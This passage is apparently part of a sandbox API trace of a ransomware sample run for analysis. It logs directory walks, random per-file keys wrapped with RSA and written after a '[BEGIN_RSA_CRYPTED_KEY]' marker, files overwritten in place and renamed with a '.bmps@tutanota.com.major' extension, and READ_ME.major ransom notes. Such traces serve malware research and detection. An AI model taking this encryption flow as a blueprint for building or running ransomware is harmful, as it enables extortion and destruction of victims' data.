cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.058] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.058] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="l3Vn21xUg6zdA36uAZf5ybLxiGpNfTd84PKHpTKBgd7013hgWl13EBHGvWMEeyRQ\nxBoBwo0AriGuEmW8xBcpgFMSLd4f827hpw2DpaLcq0hvNfYugDR8pGB7j+lygXaX\n9FMhYtswhfQPI4d1hjnKzc/aTLE6AYypdmV1fRmnINhvI3JA45+l8vSt0Bvvv9C9\nq3ZEhqdhSim2Z8y7rym+2BYM5STwqon7HOOIHPILMFPAffafHHwdpZojD/0ADQze\nvxpGxp0jR5P6FC1DwM/HMJl3JSZCD8JdynS9R9C1Y1WhfxfJ/mYMWnd/93WMKNJw\nZedQVqM0MPRzLcnws1WphQ==\n", pcchString=0x2e3f9a8) returned 1 [0129.058] WriteFile (in: hFile=0x460, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.058] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.058] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.058] CloseHandle (hObject=0x460) returned 1 [0129.060] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.061] MoveFileExW (lpExistingFileName="\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), lpNewFileName="\\Logs\\Application.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\application.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0129.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0129.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0129.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0129.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0129.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0129.062] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0129.063] FindFirstFileW (in: lpFileName="\\PerfLogs\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3090 [0129.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.063] GetLastError () returned 0x0 [0129.063] SetLastError (dwErrCode=0x0) [0129.063] GetLastError () returned 0x0 [0129.063] SetLastError (dwErrCode=0x0) [0129.063] GetLastError () returned 0x0 [0129.063] SetLastError (dwErrCode=0x0) [0129.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eac0 [0129.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0129.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0129.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0129.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3450 [0129.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3450 | out: hHeap=0x570000) returned 1 [0129.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40408 [0129.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40408 | out: hHeap=0x570000) returned 1 [0129.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0129.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eac0 | out: hHeap=0x570000) returned 1 [0129.063] FindNextFileW (in: hFindFile=0x5a3090, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0129.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.063] GetLastError () returned 0x0 [0129.063] SetLastError (dwErrCode=0x0) [0129.063] GetLastError () returned 0x0 [0129.064] SetLastError (dwErrCode=0x0) [0129.064] GetLastError () returned 0x0 [0129.064] SetLastError (dwErrCode=0x0) [0129.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e938 [0129.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0129.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0129.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0129.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3150 [0129.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3150 | out: hHeap=0x570000) returned 1 [0129.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0129.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0129.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0129.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e938 | out: hHeap=0x570000) returned 1 [0129.064] FindNextFileW (in: hFindFile=0x5a3090, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfededffa, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfededffa, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0129.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.064] GetLastError () returned 0x0 [0129.064] SetLastError (dwErrCode=0x0) [0129.064] GetLastError () returned 0x0 [0129.064] SetLastError (dwErrCode=0x0) [0129.064] GetLastError () returned 0x0 [0129.064] SetLastError (dwErrCode=0x0) [0129.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0129.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0129.064] FindNextFileW (in: hFindFile=0x5a3090, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfededffa, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfededffa, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0129.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0129.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0129.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5899c8 | out: hHeap=0x570000) returned 1 [0129.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0129.065] FindFirstFileW (in: lpFileName="\\Recovery\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3010 [0129.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.065] GetLastError () returned 0x12 [0129.065] SetLastError (dwErrCode=0x12) [0129.065] GetLastError () returned 0x12 [0129.065] SetLastError (dwErrCode=0x12) [0129.065] GetLastError () returned 0x12 [0129.065] SetLastError (dwErrCode=0x12) [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec10 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a30d0 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a30d0 | out: hHeap=0x570000) returned 1 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec10 | out: hHeap=0x570000) returned 1 [0129.066] FindNextFileW (in: hFindFile=0x5a3010, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xfededffa, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.066] GetLastError () returned 0x12 [0129.066] SetLastError (dwErrCode=0x12) [0129.066] GetLastError () returned 0x12 [0129.066] SetLastError (dwErrCode=0x12) [0129.066] GetLastError () returned 0x12 [0129.066] SetLastError (dwErrCode=0x12) [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3450 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3450 | out: hHeap=0x570000) returned 1 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40540 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40540 | out: hHeap=0x570000) returned 1 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0129.066] FindNextFileW (in: hFindFile=0x5a3010, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0129.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.066] GetLastError () returned 0x12 [0129.066] SetLastError (dwErrCode=0x12) [0129.066] GetLastError () returned 0x12 [0129.067] SetLastError (dwErrCode=0x12) [0129.067] GetLastError () returned 0x12 [0129.067] SetLastError (dwErrCode=0x12) [0129.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0129.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0129.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0129.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0129.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0129.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.067] GetLastError () returned 0x12 [0129.067] SetLastError (dwErrCode=0x12) [0129.067] GetLastError () returned 0x12 [0129.067] SetLastError (dwErrCode=0x12) [0129.067] GetLastError () returned 0x12 [0129.067] SetLastError (dwErrCode=0x12) [0129.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.067] CreateFileW (lpFileName="\\Recovery\\Logs\\READ_ME.major" (normalized: "c:\\recovery\\logs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468 [0129.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.067] WriteFile (in: hFile=0x468, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0129.070] CloseHandle (hObject=0x468) returned 1 [0129.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0129.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0129.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0129.071] FindNextFileW (in: hFindFile=0x5a3010, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfededffa, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfededffa, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfee14232, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0129.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.071] GetLastError () returned 0x0 [0129.071] SetLastError (dwErrCode=0x0) [0129.071] GetLastError () returned 0x0 [0129.071] SetLastError (dwErrCode=0x0) [0129.071] GetLastError () returned 0x0 [0129.071] SetLastError (dwErrCode=0x0) [0129.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0129.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0129.071] FindNextFileW (in: hFindFile=0x5a3010, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 1 [0129.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.071] GetLastError () returned 0x0 [0129.071] SetLastError (dwErrCode=0x0) [0129.071] GetLastError () returned 0x0 [0129.071] SetLastError (dwErrCode=0x0) [0129.071] GetLastError () returned 0x0 [0129.072] SetLastError (dwErrCode=0x0) [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0129.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0129.072] FindNextFileW (in: hFindFile=0x5a3010, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ReAgentOld.xml", cAlternateFileName="REAGEN~1.XML")) returned 0 [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0129.072] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.072] SetFileAttributesW (lpFileName="\\Recovery\\ReAgentOld.xml", dwFileAttributes=0x80) returned 1 [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7eb8 [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0129.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7eb8 | out: hHeap=0x570000) returned 1 [0129.072] CreateFileW (lpFileName="\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468 [0129.072] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1006) returned 1 [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ee) returned 0x5b5a90 [0129.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3ee) returned 0x5b5e88 [0129.072] ReadFile (in: hFile=0x468, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ee, lpOverlapped=0x0) returned 1 [0129.084] SetFilePointer (in: hFile=0x468, lDistanceToMove=-1006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.084] WriteFile (in: hFile=0x468, lpBuffer=0x5b5e88*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ee, lpOverlapped=0x0) returned 1 [0129.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e88 | out: hHeap=0x570000) returned 1 [0129.084] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ee [0129.084] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.084] WriteFile (in: hFile=0x468, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.084] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.084] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.085] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.085] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.085] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="HUi3KWK6EC4OihoG2ESf6X1XCXI7u0s201uS4qINjC5IN9Jt/ORnM9N6p7GZS2lc\nykw9XFup3iMsPnwaOu/bpuUCU2wPmr61R3FI5fJ4DNqMR1iLP2+5bLQ9e6gFLNrc\nUjI+1VA9z2+02TwAdBJc4bToINPeeVIkf5EyZJce+P5hgxIMRjTcQtZEbtaaVyEG\nYBMd92PkRMVnzq87nEOxc35i4EKf3jphh5kAPBSDqN78quuGYJlCqHzV6CJVzMW2\nNJtPf8Dl5zrD031YqYNCIPRSywvzUk7WO4ZHX+ULsDaURoV0TgPw+PL49J85S0qO\nB/h+sW7jQqhs9pbgiCaMLg==\n", pcchString=0x2e3f9a8) returned 1 [0129.085] WriteFile (in: hFile=0x468, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.085] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.085] WriteFile (in: hFile=0x468, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.085] CloseHandle (hObject=0x468) returned 1 [0129.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.086] MoveFileExW (lpExistingFileName="\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), lpNewFileName="\\Recovery\\ReAgentOld.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\recovery\\reagentold.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0129.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x46) returned 0x5baff0 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab140 | out: hHeap=0x570000) returned 1 [0129.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0129.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0129.088] FindFirstFileW (in: lpFileName="\\System Volume Information\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1044dfc5, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, 